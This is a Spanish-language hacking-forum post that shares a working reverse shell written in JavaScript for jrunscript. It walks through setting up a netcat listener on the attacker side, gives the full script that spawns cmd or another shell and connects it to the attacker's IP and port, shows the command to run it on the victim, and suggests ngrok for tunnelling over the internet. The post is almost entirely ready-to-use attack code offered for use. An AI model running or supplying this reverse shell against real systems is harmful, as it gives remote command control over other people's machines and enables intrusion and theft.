Foro de elhacker.net

Programación => Java => Mensaje iniciado por: sapito169 en 3 Enero 2022, 07:10 am



Título: contribucion shell inversa en jrunscript
Publicado por: sapito169 en 3 Enero 2022, 07:10 am
hola a qui les presento una shell inversa en jrunscript

 :xD :xD :xD :xD :xD



(https://i.ibb.co/9GpZ6P6/image.png) (https://ibb.co/vDcXp9p)

paso a explicar los comandos mas importantes recuerda el atacante y la victima tienen que usar el mismo puerto y estar dentro de la misma red si quieres atraves de wan tienes que usar un tunel XD

1 primer paso preparando el listener en el atacante en el puerto 9001
 

 

Código
  1. nc -lvnp 9001

2 modifica la primera linea del script para que use el ip del atacante y un puerto recuerda los puertos tienen que coincidir

 
Código
  1. main( "localhost",9001,"cmd");
  2.  
  3. function main(host,port,cmd) {
  4. try {
  5. p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
  6. s = new java.net.Socket(host, port);
  7. pi = p.getInputStream();
  8. pe = p.getErrorStream();
  9. si = s.getInputStream();
  10. po = p.getOutputStream();
  11. so = s.getOutputStream();
  12. while (!s.isClosed()) {
  13. while (pi.available() > 0)
  14. so.write(pi.read());
  15. while (pe.available() > 0)
  16. so.write(pe.read());
  17. while (si.available() > 0)
  18. po.write(si.read());
  19. so.flush();
  20. po.flush();
  21. java.lang.Thread.sleep(50);
  22. try {
  23. p.exitValue();
  24. break;
  25. } catch ( e) {/*e.printStackTrace();*/}
  26. }
  27. p.destroy();
  28. s.close();
  29. } catch ( e) {e.printStackTrace();}
  30. }
  31.  
  32.  
  33.  

3 ejecutar script shell.js en la victima usando el ip del atacante y cmd para los que odian al los pinwinos o

Código
  1. jrunscript shell.js

otras opciones dependiendo de el sistema operativo y las configuraciones puede funcionar alguno
 sh
 /bin/sh
 bash
 /bin/bash
 cmd
 powershell
 pwsh
 ash
 bsh
 csh
 ksh
 zsh
 pdksh
 tcsh


fuentes y herramientas

un builder de shell reversa online https://www.revshells.com/

y con ngrok te haces un tunel